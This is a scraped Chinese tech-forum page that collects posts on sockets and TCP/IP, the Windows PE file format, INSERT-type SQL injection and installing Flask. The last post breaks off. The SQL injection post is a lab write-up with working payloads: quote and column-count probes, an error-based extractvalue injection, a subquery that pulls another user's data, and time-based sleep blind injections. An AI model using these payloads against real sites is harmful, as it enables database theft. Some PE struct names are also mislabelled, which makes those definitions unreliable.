通过Socket,我们才能使用TCP/IP协议。实际上,Socket跟TCP/IP协议没有必然的联系。Socket编程接口在设计的时候,就希望也能适应其他的网络协议。所以说,Socket的出现只是使得程序员更方便地使用TCP/IP协议栈而已,是对TCP/IP协议的抽象,从而形成了我们知道的一些最基本的函数接口,比如create、listen、connect、accept、send、read和write等等。
 
Socket和TCP/IP协议的关系
网络有一段关于socket和TCP/IP协议关系的说法比较容易理解:
“TCP/IP只是一个协议栈,就像操作系统的运行机制一样,必须要具体实现,同时还要提供对外的操作接。
这个就像操作系统会提供标准的编程接口,比如win32编程接口一样,
TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口。”
HTTP和Socket的关系
CSDN上有个比较形象的描述:
HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。
利用Socket建立网络连接的步骤
 
建立Socket连接至少需要一对套接字,其中一个运行于客户端,称为ClientSocket ,另一个运行于服务器端,称为ServerSocket 。
1、服务器监听:服务器端套接字并不定位具体的客户端套接字,而是处于等待连接的状态,实时监控网络状态,等待客户端的连接请求。
2、客户端请求:指客户端的套接字提出连接请求,要连接的目标是服务器端的套接字。为此,客户端的套接字必须首先描述它要连接的服务器的套接字,指出服务器端套接字的地址和端口号,然后就向服务器端套接字提出连接请求。
3、连接确认:当服务器端套接字监听到或者说接收到客户端套接字的连接请求时,就响应客户端套接字的请求,建立一个新的线程,把服务器端套接字的描述发给客户端,一旦客户端确认了此描述,双方就正式建立连接。
而服务器端套接字继续处于监听状态,继续接收其他客户端套接字的连接请求。
HTTP链接的特点
HTTP协议即超文本传送协议(Hypertext Transfer Protocol ),是Web联网的基础,也是手机联网常用的协议之一,HTTP协议是建立在TCP协议之上的一种应用。
HTTP连接最显著的特点是客户端发送的每次请求都需要服务器回送响应,在请求结束后,会主动释放连接。从建立连接到关闭连接的过程称为“一次连接”。
 
 
发这篇文章是因为看python全栈视频的时候老师说全部是用socket链接起来的emm。。。。
节选自:(https://blog.csdn.net/wangnan9279/article/details/77895261)

PE 文件格式1

REVERSE-逆向snow 发表了文章 • 0 个评论 • 60 次浏览 • 2019-05-12 19:58 • 来自相关话题

 
0X01:概述      
       PE文件的全称是Portable Executable,=10pt意为可移植的可执行的文件,是 Windows 操作系统下使用的可执行文件格式。它是微软在 UNIX 平台的 COFF(通用对象文件格式)基础上制作而成的。最初设计用来提高程序在不同操作系统上的移植性,但实际上这种文件格式仅用在 Windows 系列的操作系统下。
        PE 文件是指32位的可执行文件,也称为 PE32。64位的可执行文件称之为 PE+ 或 PE32+,只是对 PE 格式做了一些简单的修饰,并没有新结构加进去。
 
0X02:PE 文件种类
 
--------------------------------------------------------------
种类                                    主拓展名
-------------------------------------------------------------
可执行系列                          EXE、SCR
-------------------------------------------------------------
库系列                                 DLL、OCX、CPL、DRV
-------------------------------------------------------------
驱动程序系列                       SYS、VXD
-------------------------------------------------------------
对象文件系列                       OBJ
-------------------------------------------------------------       严格地说,上述所有种类文件中,除了 OBJ 文件之外的所有文件都是可执行的。DLL、SYS 文件虽然不能直接在 Shell 中运行,但是也可以使用其他方法(调试器、服务等)执行。
 
0X03:PE 文件格式
  
0X03.1:基本结构
    PE 文件使用的是一个平面地址空间,所有的代码和数据都被合并在一起,组成了一个很大的结构,文件内容被分为不同的区块。区块没有大小限制,是一个连续结构。
    PE 文件的基本格式分为 PE 头和 PE 体。
    PE 头又分为 DOS 头,DOS 存根,NT 头和节区头。
    文件内容按照不同的用途分类保存到不同的节区中,一般可分为代码(.text)、数据(.data)、资源(.rsrc)节,方便保存。
    各节区头定义了各节区在文件和内存中的大小,位置,属性等。
    PE 头和各节区的尾部存在一个区域,称为 NULL填充。这是因为在计算机中为了提高处理效率,使用了“最小基本单位”这一概念。PE 文件也一样,文件/内存中节区的起始位置应处在最小单位的倍数位置上,空白区域使用 NULL 填充。在文件中,一基本单位为 0X200 字节(512字节);内存中,一基本单位为 0X1000 字节(4KB)。
----------------------
DOS 头
----------------------
DOS 存根
----------------------
NT 头
----------------------
节区头(.text)
---------------------
节区头(.data)
---------------------
节区头(.rsrc)
---------------------
NULL
---------------------
节区(.text)
---------------------
NULL
---------------------
节区(.data)
---------------------
NULL
---------------------
节区(.rsrc)
--------------------- 
0X03.2:加载
        PE 装载器将 PE 文件以映射的方式从磁盘映射到内存中,这个 PE 装载器就是 Windows 装载器,它并不是将 PE 文件作为单一内存映射文件装入到内存中的。而是去遍历 PE 文件,决定将哪一部分进行映射,这种映射方式是将文件较高的偏移地址映射到较高的内存地址,当磁盘文件装入内存中时,其数据结构布局是一致的,但是数据之间的相对位置可能会改变。
 





 
        在文件中使用偏移(offset),内存中使用 VA( Virtual Address,虚拟地址)来表示位置。在映射时文件被加载到内存的开始位置叫做基址(ImageBase)。
默认情况下,EXE 文件基址为 0X400000(4M),DLL 文件的基址为 0X10000000。
        VA 是指进程虚拟内存的绝对地址,RVA(相对虚拟地址)是指从 ImageBase 开始的相对地址。所以 VA = RVA + ImageBase。在32位的 Windows 系统中,每个进程都分配有4 GB 的虚拟内存,因此进程中 VA 的范围是 00000000 ~ FFFFFFFF。
        在 PE 头内存信息大多以 RVA 的形式存在。原因在于,每个EXE 文件都有独立的内存空间,但一个 EXE 文件可能加载了不止一个 DLL 文件。每个 DLL 文件的默认基址地址都是 0X10000000。所以当 DLL 文件加载到进程虚拟内存的特定地址时,该位置可能已经加载了其他 PE文件(DLL)。此时必须通过重定位将其加载到其他空白的位置,若 PE 头信息使用的是 VA,则无法正常访问。因此使用 RVA 来定位,这样即使发生了重定位,也能正常访问到指定信息。
 
0X3.3:PE 头
 
0X3.3.1:DOS 头
        DOS 头是微软为了 PE 文件对 DOS 文件的兼容性,在 PE 头的最前面添加了一个 IMAGE_DOS_HEADER 结构体。该结构体大小为64字节。具体结构如下:typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number设置ox5A4D ascii码值为'MZ'(标志,不会变的标志)
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; //PE头文件的偏移地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
 
        该结构体的两个重要成员分别是首部和尾部的 e_magic 和 e_lfanew。
        e_magic:DOS 签名,在文件中十六进制为 4D5A,ASCII 值为“MZ”, =10pt是 MS-DOS 的最初创建者之一 Mark Zbikowski 字母的缩写。在所有的 PE 文件开始部分,都有 DOS 签名。
        e_lfanew:标注 NT 头的偏移,通常32位的系统下值为 000000E0,64位的系统下值为 000000F0。
        下图即为我电脑上 notepad.exe(即记事本程序)的 DOS 头。
       




 
 
0X03.3.2:DOS 存根
        DOS存根在 DOS 头的下方,且大小不固定。用来在 DOS 环境下执行文件。即便没有 DOS 存根,文件也可以正常运行。DOS 存根由代码和数据混合而成。
      




 
 
0X3.3.3:NT 头
        NT 头也是一个结构体,叫做 IMAGE_NT_HEADERS 结构体,由三个成员组成:typedef struct _IMAGE_DOS_HEADER
{
DWORD Signature; //PE Signature : 50450000("PE"00)
IMAGE_FILE_HEADER FileHeader; //文件头结构体
IMAGE_ OPTIONAL_HEADER32 OptionalHeader; //可选头结构体
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER32;
 
        第一个成员是签名结构体,其值为 50450000(“PE”00),如图:
      





 
        其他两个成员分别是文件头和可选头结构体。
 
0X3.3.4:文件头
        文件头是表现文件大致属性的 IMAGE_FILE_HEADER 结构体:typedef struct _IMAGE_DOS_HEADER
{
WORD Machine; //每个CPU都拥有唯一的machine码
WORD NumberOfSections; //节区数量,当定义节区数与实际不同时会发生错误
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader; //IMAGE_OPTIONAL_HEADER32结构体的大小,固定的
WORD Characteristics; //文件属性,0x0002h为可执行文件,0x2000h为DLL文件
} IMAGE_DOS_HEADER
    
        该结构体有四种重要成员(若设置不正确,则文件无法正常运行):
        1.Machine: =10pt两个字节,用来标识CPU型号。
        2.NumberOfSections:用来指出文件中节区的数量。该值一定要大于0,且当定义的节区数量和实际不同时,将发生运行错误。
        3.SizeOfOptionalHeader:用来指出 NT 头的第三个成员 IMAGE_OPTIONAL_HEADER32 结构体的长度。PE32+ 格式的文件中使用的是          IMAGE_OPTIONAL_HEADER64 结 构体,两个结构体的长度是不一样的。32位下通常长度为 00E0h(224字节),64位下长度通常为 00F0h(240字节)。
        4.Characteristics:用来标识文件的属性,如文件是否是可运行的形态,是否为 DLL 文件等信息,以 bit OR 的形式组合起来, 每一位代表一种信息,共两位。
 
        notepad.exe中的文件头:
      





 
0X03.3.5:可选头
        可选头是 PE 头结构体中最大的,该结构体定义如下:typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; //标志字(32位时0x10Bh)
BYTE MajorLinkerVersion; //连接器版本号
BYTE MinorLinkerVersion; //
DWORD SizeOfCode; //代码段大小
DWORD SizeOfInitializedData; //已初始化数据块大小
DWORD SizeOfUninitializedData; //未初始化数据块大小
DWORD AddressOfEntryPoint; //EP的RVA值,程序最先执行代码的地址
DWORD BaseOfCode; //代码段起始RVA
DWORD BaseOfData; //数据段起始RVA
DWORD ImageBase; //PE文件的装载地址
DWORD SectionAlignment; //块对齐,节区在内存中最小单位
DWORD FileAlignment; //文件块对齐,节区在文件中的最小单位
WORD MajorOperatingSystemVersion;//所需操作系统版本号
WORD MinorOperatingSystemVersion;//
WORD MajorImageVersion; //用户自定义版本号
WORD MinorImageVersion; //
WORD MajorSubsystemVersion; //win32子系统版本。若PE文件是专门为Win32设计的
WORD MinorSubsystemVersion; //该子系统版本必定是4.0否则对话框不会有3维立体感
DWORD Win32VersionValue; //保留
DWORD SizeOfImage; //内存中整个PE映像体的尺寸
DWORD SizeOfHeaders; //所有头+节表的大小,即整个PE头的大小
DWORD CheckSum; //校验和
WORD Subsystem; //NT用来识别PE文件属于哪个子系统(系统驱动、GUI、CUI)
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes; //指定DataDirectory数组的个数
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//IMAGE_DATA_DIRECTORY 结构数组。每个结构给出一个重要数据结构的RVA,比如引入地址表等
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 
        重要成员有:
        1.Magic:标志字,32系统为 010B,64位系统为 020B。
        2.AddressOfEntryPoint:RVA值,指出程序最先执行的代码起始地址,相当重要
        3.ImageBase:指出文件的基址。
        4.SizeOfImage:标识着文件加载到内存时的大小。一般而言,文件的大小和加载到内存中的大小是不同的。
        5.SizeOfHeaders:标识整个 PE 头的大小,该值必须是 FileAlignment 的整数倍。
        6.Subsystem:用来区分系统驱动文件和普通的可执行文件。
        7.NumberOfRvaAndSizes:用来指定 IMAGE_OPTIONAL_HEADER32 结构体最后一个成员(DataDiretory数组)的个数。默认是16,但也可能不是16。
        8.DataDirectory:是由 IMAGE_DATA_DIRECTORY 结构体组成的数组,每个元素都记录着 PE 文件的重要数据结构,如图:
        





 
 
0X03.36:节区头
        在节区头中定义了各节区的属性。节区属性中有节区在文件/内存中的起始位置、大小、访问权限等。
        不同内存属性的访问权限如下:
 ------------------------------------------
类别                               访问权限
-------------------------------------------
code                             执行,读取权限
-------------------------------------------data                              非执行,读写权限
--------------------------------------------resource                       非执行,读取权限
---------------------------------------------        节区头是由 IMAGE_SECTION_HEADER 结构体组成的数组,每个结构体对应一个节区:
    #define IMAGE_SIZEOF_SHORT_NAME 8typedef struct _IMAGE_SECTION_HEADER{
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 8个字节的节区名称
union {
DWORD PhysicalAddress;
DWORD VirtualSize; //内存中节区的大小
} Misc;
DWORD VirtualAddress; // 内存中节区的起始地址(RVA)
DWORD SizeOfRawData; // 磁盘中文件中节区所占大小
DWORD PointerToRawData; // 磁盘中文件的起始位置
DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
WORD NumberOfLinenumbers; // 行号表中行号的数目
DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
 
        第一个成员是 Name:默认为8个字节,PE 规范未明确规定节区的 Name,所有可以向其中放入任何值。
        第二个成员是一个联合体,4个字节,一般来说存储虚拟大小,即该节区在内存中的大小。
        第三个成员是虚拟地址,是一个 RVA,标识着内存中节区的起始地址。
        第四个成员和第五个成员分别标识着在文件中的大小和在文件中的起始偏移。
        最后一个成员则标识着节区属性,也是以 bit OR 的形式组合在一起的。
  查看全部
 
0X01:概述      
       PE文件的全称是Portable Executable,=10pt意为可移植的可执行的文件,是 Windows 操作系统下使用的可执行文件格式。它是微软在 UNIX 平台的 COFF(通用对象文件格式)基础上制作而成的。最初设计用来提高程序在不同操作系统上的移植性,但实际上这种文件格式仅用在 Windows 系列的操作系统下。
        PE 文件是指32位的可执行文件,也称为 PE32。64位的可执行文件称之为 PE+ 或 PE32+,只是对 PE 格式做了一些简单的修饰,并没有新结构加进去。
 
0X02:PE 文件种类
 
--------------------------------------------------------------
种类                                    主拓展名
-------------------------------------------------------------
可执行系列                          EXE、SCR
-------------------------------------------------------------
库系列                                 DLL、OCX、CPL、DRV
-------------------------------------------------------------
驱动程序系列                       SYS、VXD
-------------------------------------------------------------
对象文件系列                       OBJ
-------------------------------------------------------------       严格地说,上述所有种类文件中,除了 OBJ 文件之外的所有文件都是可执行的。DLL、SYS 文件虽然不能直接在 Shell 中运行,但是也可以使用其他方法(调试器、服务等)执行。
 
0X03:PE 文件格式
  
0X03.1:基本结构
    PE 文件使用的是一个平面地址空间,所有的代码和数据都被合并在一起,组成了一个很大的结构,文件内容被分为不同的区块。区块没有大小限制,是一个连续结构。
    PE 文件的基本格式分为 PE 头和 PE 体。
    PE 头又分为 DOS 头,DOS 存根,NT 头和节区头。
    文件内容按照不同的用途分类保存到不同的节区中,一般可分为代码(.text)、数据(.data)、资源(.rsrc)节,方便保存。
    各节区头定义了各节区在文件和内存中的大小,位置,属性等。
    PE 头和各节区的尾部存在一个区域,称为 NULL填充。这是因为在计算机中为了提高处理效率,使用了“最小基本单位”这一概念。PE 文件也一样,文件/内存中节区的起始位置应处在最小单位的倍数位置上,空白区域使用 NULL 填充。在文件中,一基本单位为 0X200 字节(512字节);内存中,一基本单位为 0X1000 字节(4KB)。
----------------------
DOS 头
----------------------
DOS 存根
----------------------
NT 头
----------------------
节区头(.text)
---------------------
节区头(.data)
---------------------
节区头(.rsrc)
---------------------
NULL
---------------------
节区(.text)
---------------------
NULL
---------------------
节区(.data)
---------------------
NULL
---------------------
节区(.rsrc)
--------------------- 
0X03.2:加载
        PE 装载器将 PE 文件以映射的方式从磁盘映射到内存中,这个 PE 装载器就是 Windows 装载器,它并不是将 PE 文件作为单一内存映射文件装入到内存中的。而是去遍历 PE 文件,决定将哪一部分进行映射,这种映射方式是将文件较高的偏移地址映射到较高的内存地址,当磁盘文件装入内存中时,其数据结构布局是一致的,但是数据之间的相对位置可能会改变。
 

Image.png

 
        在文件中使用偏移(offset),内存中使用 VA( Virtual Address,虚拟地址)来表示位置。在映射时文件被加载到内存的开始位置叫做基址(ImageBase)。
默认情况下,EXE 文件基址为 0X400000(4M),DLL 文件的基址为 0X10000000。
        VA 是指进程虚拟内存的绝对地址,RVA(相对虚拟地址)是指从 ImageBase 开始的相对地址。所以 VA = RVA + ImageBase。在32位的 Windows 系统中,每个进程都分配有4 GB 的虚拟内存,因此进程中 VA 的范围是 00000000 ~ FFFFFFFF。
        在 PE 头内存信息大多以 RVA 的形式存在。原因在于,每个EXE 文件都有独立的内存空间,但一个 EXE 文件可能加载了不止一个 DLL 文件。每个 DLL 文件的默认基址地址都是 0X10000000。所以当 DLL 文件加载到进程虚拟内存的特定地址时,该位置可能已经加载了其他 PE文件(DLL)。此时必须通过重定位将其加载到其他空白的位置,若 PE 头信息使用的是 VA,则无法正常访问。因此使用 RVA 来定位,这样即使发生了重定位,也能正常访问到指定信息。
 
0X3.3:PE 头
 
0X3.3.1:DOS 头
        DOS 头是微软为了 PE 文件对 DOS 文件的兼容性,在 PE 头的最前面添加了一个 IMAGE_DOS_HEADER 结构体。该结构体大小为64字节。具体结构如下:
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
WORD e_magic; // Magic number设置ox5A4D ascii码值为'MZ'(标志,不会变的标志)
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; //PE头文件的偏移地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

 
        该结构体的两个重要成员分别是首部和尾部的 e_magic 和 e_lfanew。
        e_magic:DOS 签名,在文件中十六进制为 4D5A,ASCII 值为“MZ”, =10pt是 MS-DOS 的最初创建者之一 Mark Zbikowski 字母的缩写在所有的 PE 文件开始部分,都有 DOS 签名。
        e_lfanew:标注 NT 头的偏移,通常32位的系统下值为 000000E0,64位的系统下值为 000000F0。
        下图即为我电脑上 notepad.exe(即记事本程序)的 DOS 头。
       
Image.png

 
 
0X03.3.2:DOS 存根
        DOS存根在 DOS 头的下方,且大小不固定。用来在 DOS 环境下执行文件。即便没有 DOS 存根,文件也可以正常运行。DOS 存根由代码和数据混合而成。
      
2.png

 
 
0X3.3.3:NT 头
        NT 头也是一个结构体,叫做 IMAGE_NT_HEADERS 结构体,由三个成员组成:
typedef struct _IMAGE_DOS_HEADER
{
DWORD Signature; //PE Signature : 50450000("PE"00)
IMAGE_FILE_HEADER FileHeader; //文件头结构体
IMAGE_ OPTIONAL_HEADER32 OptionalHeader; //可选头结构体
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER32;

 
        第一个成员是签名结构体,其值为 50450000(“PE”00),如图:
      
3.png


 
        其他两个成员分别是文件头和可选头结构体。
 
0X3.3.4:文件头
        文件头是表现文件大致属性的 IMAGE_FILE_HEADER 结构体:
typedef struct _IMAGE_DOS_HEADER
{
WORD Machine; //每个CPU都拥有唯一的machine码
WORD NumberOfSections; //节区数量,当定义节区数与实际不同时会发生错误
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader; //IMAGE_OPTIONAL_HEADER32结构体的大小,固定的
WORD Characteristics; //文件属性,0x0002h为可执行文件,0x2000h为DLL文件
} IMAGE_DOS_HEADER

    
        该结构体有四种重要成员(若设置不正确,则文件无法正常运行):
        1.Machine: =10pt两个字节,用来标识CPU型号。
        2.NumberOfSections:用来指出文件中节区的数量。该值一定要大于0,且当定义的节区数量和实际不同时,将发生运行错误。
        3.SizeOfOptionalHeader:用来指出 NT 头的第三个成员 IMAGE_OPTIONAL_HEADER32 结构体的长度。PE32+ 格式的文件中使用的是          IMAGE_OPTIONAL_HEADER64 结 构体,两个结构体的长度是不一样的。32位下通常长度为 00E0h(224字节),64位下长度通常为 00F0h(240字节)。
        4.Characteristics:用来标识文件的属性,如文件是否是可运行的形态,是否为 DLL 文件等信息,以 bit OR 的形式组合起来, 每一位代表一种信息,共两位。
 
        notepad.exe中的文件头:
      
4.png


 
0X03.3.5:可选头
        可选头是 PE 头结构体中最大的,该结构体定义如下:
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; //标志字(32位时0x10Bh)
BYTE MajorLinkerVersion; //连接器版本号
BYTE MinorLinkerVersion; //
DWORD SizeOfCode; //代码段大小
DWORD SizeOfInitializedData; //已初始化数据块大小
DWORD SizeOfUninitializedData; //未初始化数据块大小
DWORD AddressOfEntryPoint; //EP的RVA值,程序最先执行代码的地址
DWORD BaseOfCode; //代码段起始RVA
DWORD BaseOfData; //数据段起始RVA
DWORD ImageBase; //PE文件的装载地址
DWORD SectionAlignment; //块对齐,节区在内存中最小单位
DWORD FileAlignment; //文件块对齐,节区在文件中的最小单位
WORD MajorOperatingSystemVersion;//所需操作系统版本号
WORD MinorOperatingSystemVersion;//
WORD MajorImageVersion; //用户自定义版本号
WORD MinorImageVersion; //
WORD MajorSubsystemVersion; //win32子系统版本。若PE文件是专门为Win32设计的
WORD MinorSubsystemVersion; //该子系统版本必定是4.0否则对话框不会有3维立体感
DWORD Win32VersionValue; //保留
DWORD SizeOfImage; //内存中整个PE映像体的尺寸
DWORD SizeOfHeaders; //所有头+节表的大小,即整个PE头的大小
DWORD CheckSum; //校验和
WORD Subsystem; //NT用来识别PE文件属于哪个子系统(系统驱动、GUI、CUI)
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes; //指定DataDirectory数组的个数
IMAGE_DATA_DIRECTORY
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//IMAGE_DATA_DIRECTORY 结构数组。每个结构给出一个重要数据结构的RVA,比如引入地址表等
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 
        重要成员有:
        1.Magic:标志字,32系统为 010B,64位系统为 020B。
        2.AddressOfEntryPoint:RVA值,指出程序最先执行的代码起始地址,相当重要
        3.ImageBase:指出文件的基址。
        4.SizeOfImage:标识着文件加载到内存时的大小。一般而言,文件的大小和加载到内存中的大小是不同的。
        5.SizeOfHeaders:标识整个 PE 头的大小,该值必须是 FileAlignment 的整数倍。
        6.Subsystem:用来区分系统驱动文件和普通的可执行文件。
        7.NumberOfRvaAndSizes:用来指定 IMAGE_OPTIONAL_HEADER32 结构体最后一个成员(DataDiretory数组)的个数。默认是16,但也可能不是16。
        8.DataDirectory:是由 IMAGE_DATA_DIRECTORY 结构体组成的数组,每个元素都记录着 PE 文件的重要数据结构,如图:
        

4.png

 
 
0X03.36:节区头
        在节区头中定义了各节区的属性。节区属性中有节区在文件/内存中的起始位置、大小、访问权限等。
        不同内存属性的访问权限如下:
 ------------------------------------------
类别                               访问权限
-------------------------------------------
code                             执行,读取权限
-------------------------------------------data                              非执行,读写权限
--------------------------------------------resource                       非执行,读取权限
---------------------------------------------        节区头是由 IMAGE_SECTION_HEADER 结构体组成的数组,每个结构体对应一个节区:
    
#define IMAGE_SIZEOF_SHORT_NAME 8typedef struct _IMAGE_SECTION_HEADER{
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 8个字节的节区名称
union {
DWORD PhysicalAddress;
DWORD VirtualSize; //内存中节区的大小
} Misc;
DWORD VirtualAddress; // 内存中节区的起始地址(RVA)
DWORD SizeOfRawData; // 磁盘中文件中节区所占大小
DWORD PointerToRawData; // 磁盘中文件的起始位置
DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
WORD NumberOfLinenumbers; // 行号表中行号的数目
DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

 
        第一个成员是 Name:默认为8个字节,PE 规范未明确规定节区的 Name,所有可以向其中放入任何值。
        第二个成员是一个联合体,4个字节,一般来说存储虚拟大小,即该节区在内存中的大小。
        第三个成员是虚拟地址,是一个 RVA,标识着内存中节区的起始地址。
        第四个成员和第五个成员分别标识着在文件中的大小和在文件中的起始偏移。
        最后一个成员则标识着节区属性,也是以 bit OR 的形式组合在一起的。
 

Insert型SQL注入探究

Web安全渗透wuyou 发表了文章 • 1 个评论 • 129 次浏览 • 2019-05-10 18:49 • 来自相关话题

我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 








 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
001     [留言成功]002\    [留言失败]003#    [留言成功]004'    [留言失败]005"    [留言成功]006)    [留言成功]007')   [留言失败]008')#  [留言失败]


在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
009','')#      [留言失败]010','','')#    [留言成功]





 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#





 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#










 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
  查看全部
我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 
3.png

1.png

 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
  1. 001     [留言成功]
  2. 002\    [留言失败]
  3. 003#    [留言成功]
  4. 004'    [留言失败]
  5. 005"    [留言成功]
  6. 006)    [留言成功]
  7. 007')   [留言失败]
  8. 008')#  [留言失败]



在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
  1. 009','')#      [留言失败]
  2. 010','','')#    [留言成功]


4.png

 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#

5.png

 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#

6.png


7.png

 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
 

Flask的安装运行

Pythoncat 发表了文章 • 0 个评论 • 80 次浏览 • 2019-05-10 14:42 • 来自相关话题

一、安装
1.激活虚拟环境(为什么要使用虚拟环境?随着你的 Python 项目越来越多,你会发现不同的项目会需要 不同的版本的 Python 库。同一个 Python 库的不同版本可能不兼容。虚拟环境可以为每一个项目安装独立的 Python 库,这样就可以隔离不同项目之间的 Python 库,也可以隔离项目与操作系统之间的 Python 库。)
python3:创建一个项目文件夹,然后创建一个虚拟环境。创建完成后项目文件夹中会有一个 venv 文件夹:mkdir myprojectcd myprojectpython3 -m venv venv 在Windows下:py -3 -m venv venvpython2: 如果你使用的是 Python 2 ,那么 venv 模块无法使用。相应的,必须安装 virtualenv.如果是 Mac OS X 或者 Windows ,下载 get-pip.py ,然后:sudo python2 Downloads/get-pip.pysudo python2 -m pip install virtualenv在 Windows 下,需要要 administrator 权限:\Python27\python.exe Downloads\get-pip.py\Python27\python.exe -m pip install virtualenv安装virtualenv完成之后,继续创建虚拟环境在老版本的 Python 中要使用下面的命令创建虚拟环境:virtualenv venv在 Windows 下:\Python27\Scripts\virtualenv.exe venv在开始工作前,先要激活相应的虚拟环境:venv/bin/activate在windows下:venv\Scripts\activate激活后,你的终端提示符会显示虚拟环境的名称。3.安装Flask在已激活的虚拟环境中可以使用如下命令安装 Flask:pip install Flask4.依赖 当安装 